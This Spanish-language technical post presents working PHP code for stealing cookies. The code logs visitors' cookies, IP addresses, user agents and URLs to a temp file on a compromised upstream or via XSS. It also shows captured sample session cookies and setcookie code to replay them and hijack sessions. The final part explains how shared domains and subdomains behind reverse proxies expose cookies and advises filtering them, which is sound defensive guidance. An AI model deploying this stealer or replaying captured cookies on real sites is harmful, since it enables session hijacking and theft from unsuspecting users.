Código PHP simple para robar Cookies
Ejemplo de código PHP que puede usarse para robar cookies si se obtiene acceso a un upstream (reverse proxy) o vulnerabilidad XSS.
El siguiente código crea un fichero temporal en “/tmp” o bien “/tmp/systemd-private-XXX/tmp/” donde se registrarán todas las cookies del usuario que lo visite.
<?php $date = date("Y/m/d H:i:s"); $file = fopen("/tmp/cookies.txt", "a"); fwrite($file, "\n------------------\n[+] Date:{$date}\n[+] URL: {$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}\n[+] IP: {$_SERVER['REMOTE_ADDR']}\n[+] UserAgent: {$_SERVER['HTTP_USER_AGENT']}\n[+] Referer: {$_SERVER['HTTP_REFERER']}\n[+] Cookies:"); fwrite($file, print_r($_COOKIE, TRUE)); fclose($file); ?>
Si estas cookies son configuradas en otro navegador, dependiendo de como haya sido desarrollada la aplicación web, se podría robar la sesión. Por supuesto no es necesario usar php para crear estas nuevas cookies, siendo factible usar cualquier otro metodo como un editor de cookies para el navegador.
Ejemplo del fichero salida /tmp/cookies.txt:
------------------ [+] Date:2021/02/09 00:05:23 [+] URL: busindre.com/XXX/test.php [+] IP: 82.207.201.199 [+] UserAgent: Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/437.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/517.36 [+] Referer: [+] Cookies:Array ( [DokuWiki] => apnr19egsi5u495rhttrnp2h [DW1fa065a06cb74b536c124cfbe56ac63] => BnVzaW5kcmU=|0|l9f+QopU7tYpC/0Ju+kwPVTBeGgOS1+3FfdTwiV2Sv+ruAbLDyPkmTeOceOv2m )
Establecer en PHP las cookies que previamente han sido obtenidas.
<?php setcookie("DokuWiki", "apnr19egsi5u495rhttrnp2h",time()+3600,"/","busindre.com"); setcookie("DW1fa065a06cb74b536c124cfbe56ac63", "BnVzaW5kcmU=|0|l9f+QopU7tYpC/0Ju+kwPVTBeGgOS1+3FfdTwiV2Sv+ruAbLDyPkmTeOceOv2m",time()+3600,"/","busindre.com"); ?>
Cuando se configura un servicio externo mediante proxies reversos bajo otro dominio, conocer como las cookies pueden leerse y configurarse entre dominios y subdominios es importante.
Por ejemplo, se puede tener una URL “empresaXYZ.com/tienda” para el area de ventas y otra “empresaXYZ.com/blog” que muestre el contenido de un blog wordpress, no necesariamente administrado por la misma empresaXYZ. La URL del blog comparte el mismo dominio empresaXYZ.com y por lo tanto puede ser factible que acceda a las mismas cookies que empresaXYZ.com crea para sus usuarios en las URLs de la tienda.
Por eso es importante, a la hora de configurar servicio externos desde un dominio propio, filtrar las cookies que ese servicio externo recibe por medio del proxy reverso. De no ser así, si el servicio externo es hackeado, los atacantes podrían tendrían acceso a las cookies de nuestro dominio y por lo tanto robar información o sesiones. Todo depende de la configuración de cookies de la empresa y como se haya programado la gestión de sesiones.
Esto también aplica a subdominios, en este servicio web es posible probar diferentes escenarios para entender como funciona el acceso a cookies entre subdominios: setcookie.net